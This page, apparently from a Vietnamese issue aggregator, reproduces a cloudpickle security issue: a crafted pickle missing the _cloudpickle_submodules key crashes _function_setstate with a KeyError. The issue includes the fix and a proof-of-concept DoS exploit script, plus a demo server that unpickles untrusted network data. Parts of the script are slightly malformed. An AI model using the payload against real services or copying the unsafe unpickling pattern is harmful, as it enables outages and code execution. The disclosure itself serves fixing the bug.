Hacktoberfest 2026: những issue maintainer đã đánh dấu cho tháng Mười, đang mở và phù hợp người mới. Xem issue Hacktoberfest

Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)

Đang mở Phù hợp với người mới
#593 1 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Đánh giá

Độ khó
2/5
Thời gian dự kiến
1-3 giờ
Mức phù hợp với người mới
78/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
python
Lĩnh vực
security

Hướng nghiên cứu

Bắt đầu bằng cách đọc cloudpickle/cloudpickle.py quanh dòng 1156 và so sánh với kiểm tra phòng vệ đã bị xóa trong commit c6f8cd4. Tái hiện pickle được tạo đặc biệt опис trong issue và xác minh rằng việc giải tuần tự hóa khi thiếu khóa _cloudpickle_submodules không còn gây ra KeyError.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.

A CVE has been requested to MITRE for this issue.

Affected versions

cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)


Root cause

In commit c6f8cd4 (#517), the following defensive check was removed:

# OLD safe
if '_cloudpickle_submodules' in state:
    state.pop('_cloudpickle_submodules')

and replaced with:

# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules")  # KeyError if key is absent

Proof of concept

Server.py : 
`
import socket
import struct
import pickle
import cloudpickle
import os

HOST = "127.0.0.1"
PORT = 9999

def start_server():
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      s.listen()
      print(f"Listening {HOST}:{PORT}...")
      
      while True:
          conn, addr = s.accept()
          with conn:
              try:
                  raw_msglen = conn.recv(4)
                  if not raw_msglen: continue
                  msglen = struct.unpack(">I", raw_msglen)[0]
                  
                  data = b""
                  while len(data) < msglen:
                      chunk = conn.recv(msglen - len(data))
                      if not chunk: break
                      data += chunk
                  
                  print(f"{len(data)}o from {addr}")
                  
                  task = pickle.loads(data)
                  
                  result = str(task())
                  print(f"Result : {result}")
                  
                  resp = f"OK: {result}".encode()
                  conn.sendall(struct.pack(">I", len(resp)) + resp)
                  
              except KeyError as e:
                  print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
                  print("Stoping server to show the DOS")
                  break
              except Exception as e:
                  print(f"[!] Error : {type(e).__name__}: {e}")
                  err_msg = f"Error: {str(e)}".encode()
                  conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)

if __name__ == "__main__":
  start_server()
`

exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os

HOST = "127.0.0.1"
PORT = 9999


def build_payload() -> bytes:
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  valid = cloudpickle.dumps(lambda: 42)
  target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'

  if target not in valid:
      sys.exit("[!] Signature not found — incompatible cloudpickle version")

  modified = valid.replace(target, b'', 1)
  old_len = struct.unpack('<Q', valid[3:11])[0]
  new_len = old_len - len(target)
  return valid[:3] + struct.pack('<Q', new_len) + modified[11:]


def send(data: bytes) -> bytes | None:
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(4)
      s.connect((HOST, PORT))
      s.sendall(struct.pack(">I", len(data)) + data)
      raw = s.recv(4)
      if not raw:
          return None
      length = struct.unpack(">I", raw)[0]
      return s.recv(length)


def cmd_try():
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  print(f"[*] Connecting to {HOST}:{PORT}...")
  task = cloudpickle.dumps(lambda: "pong")

  try:
      resp = send(task)
      print(f"[+] Server is up — response: {resp.decode()}")
  except ConnectionRefusedError:
      print("[-] Connection refused — server not running")
      sys.exit(1)
  except socket.timeout:
      print("[-] Timeout — server not responding")
      sys.exit(1)


def cmd_exploit():
  payload = build_payload()
  print(f"[*] Forged payload: {len(payload)} bytes")
  print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
  print(f"[*] Sending to {HOST}:{PORT}...")

  try:
      resp = send(payload)
      print(f"[-] Server responded (not crashed): {resp}")
  except ConnectionRefusedError:
      print("[!] Connection refused — server already dead or not running")
  except (socket.timeout, ConnectionResetError):
      print("[+] No response — server crashed")
      print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")


Usage:
python3 exploit.py try      Test the connection (sends a legit task)
python3 exploit.py exploit  Send the DoS payload
"""

Impact

Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.

Fix

# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)
Ngôn ngữ chính
Python
Star
1.9k
Fork
197
Merge trung bình
1 ngày 10 giờ
Pull request đã merge (30 ngày)
1

Hướng dẫn đóng góp

Chưa lập chỉ mục được hướng dẫn đóng góp cho kho mã nguồn này

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của cloudpipe/cloudpickle

Tất cả issue của cloudpipe/cloudpickle

Issue tương tự

Thêm issue về Python

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.